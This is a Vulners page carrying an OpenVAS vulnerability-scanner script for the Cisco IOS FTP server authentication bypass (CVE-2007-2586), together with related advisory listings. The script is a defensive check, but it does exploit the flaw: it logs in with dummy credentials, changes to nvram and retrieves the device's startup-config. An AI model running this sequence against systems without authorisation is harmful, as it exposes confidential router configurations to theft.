Lucene search
K

Cisco IOS FTP Server Authentication Bypass Vulnerability

🗓️ 22 Aug 2008 00:00:00Reported by This script is Copyright (C) 2007 Ferdy RiphagenType 
openvas
 openvas
🔗 plugins.openvas.org👁 20 Views

Cisco IOS FTP Server Authentication Bypass Vulnerability. FTP server allows anonymous access to confidential files

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-2586
29 Jul 200800:00
circl
Tenable Nessus
Multiple Vulnerabilities in the IOS FTP Server
1 Sep 201000:00
nessus
Check Point Advisories
Cisco IOS FTP Server Remote Buffer Overflow - Ver2 (CVE-2007-2586)
3 Mar 201400:00
checkpoint_advisories
Check Point Advisories
Cisco IOS XU FTP Server Buffer Overflow - Ver2 (CVE-2007-2586)
3 Jul 201800:00
checkpoint_advisories
CVE
CVE-2007-2586
9 May 200722:00
cve
Cvelist
CVE-2007-2586
9 May 200722:00
cvelist
NVD
CVE-2007-2586
10 May 200700:19
nvd
OpenVAS
Cisco IOS FTP Server Authentication Bypass Vulnerability
22 Aug 200800:00
openvas
Prion
Buffer overflow
10 May 200700:19
prion
Positive Technologies
PT-2007-3905 · Cisco · Cisco Ios
9 May 200700:00
ptsecurity
Rows per page
# OpenVAS Vulnerability Test
# $Id: cisco_ios_ftp_server_auth_bypass.nasl 7297 2017-09-27 09:54:01Z cfischer $
# Description: Cisco IOS FTP Server Authentication Bypass Vulnerability
#
# Authors:
# Ferdy Riphagen 
#
# Copyright:
# Copyright (C) 2007 Ferdy Riphagen
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "The Cisco IOS FTP server is enabled on the remote system.

Description :

The FTP server does not properly verify authentication, allowing
for anonymous access to the file system. An attacker could use
the ftp server to view/download confidential configuration files, or upload 
replacements which will be used at startup.";

tag_solution = "Disable the FTP Server by using 'no ftp-server enable'
or upgrade to a newer release (see cisco-sa-20070509-iosftp).";

if (description) {
 script_id(9999996);
 script_version("$Revision: 7297 $");
 script_tag(name:"last_modification", value:"$Date: 2017-09-27 11:54:01 +0200 (Wed, 27 Sep 2017) $");
 script_tag(name:"creation_date", value:"2008-08-22 16:09:14 +0200 (Fri, 22 Aug 2008)");
 script_tag(name:"cvss_base", value:"9.3");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
 script_cve_id("CVE-2007-2586");
 script_bugtraq_id(23885);

 name = "Cisco IOS FTP Server Authentication Bypass Vulnerability";
 script_name(name);
 script_category(ACT_GATHER_INFO);
  script_tag(name:"qod_type", value:"remote_active");
 script_family("FTP");
 script_copyright("This script is Copyright (C) 2007 Ferdy Riphagen");

 script_dependencies("secpod_ftp_anonymous.nasl"); 
 script_require_ports("Services/ftp", 21);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
 script_xref(name : "URL" , value : "http://www.cisco.com/en/US/products/products_security_advisory09186a00808399d0.shtml");
 exit(0);
}

include("ftp_func.inc");

function start_passive(port, soc) {

  pasv = ftp_pasv(socket:soc);
  if (!pasv) return NULL; 
  soc2 = open_sock_tcp(pasv, transport:get_port_transport(port));
  if (!soc2) return NULL;	
  return;
}

port = get_ftp_port( default:21 );

banner = get_ftp_banner(port:port);
if ("IOS-FTP server" >!< banner) exit(0);

# Try to get some directory listing.
# On the other hand ftp_anonymous.nasl is doing this too :-) 
soc = open_sock_tcp(port);
if (soc && 
   (ftp_authenticate(socket:soc, user:"blah", pass:"blah"))) {
	if (start_passive(port:port, soc:soc)) {
		send(socket:soc, data:'LIST\r\n');
		recv_listing = ftp_recv_listing(socket:soc2);
		ftp_close(socket:soc2); 
	}
}
if (soc) ftp_close(socket:soc);

# Try to grab the startup-config
# That's what it's all about..
if (strlen(recv_listing)) {
	soc = open_sock_tcp(port);
	if (soc &&
           (ftp_authenticate(socket:soc, user:"blah", pass:"blah"))) {
		send(socket:soc, data:'CWD nvram:\r\n');
		recv = ftp_recv_line(socket:soc, retry:1);
		if ("250" >< recv &&   
		   (start_passive(port:port, soc:soc))) {
			send(socket:soc, data:'RETR startup-config\r\n');
        		recv_config = ftp_recv_data(socket:soc2, line:500);
        		ftp_close(socket:soc2);
		}
	}
}
if (soc) ftp_close(socket:soc);

if (strlen(recv_config)) {
	report = string(
		"Partial startup-config file:\r\n",
	        recv_config);
	security_message(port:port, data:report);
	exit(0); 
}
else if (strlen(recv_listing)) {
	security_message(port:port);
	exit(0);
}  

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2017 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.60748
20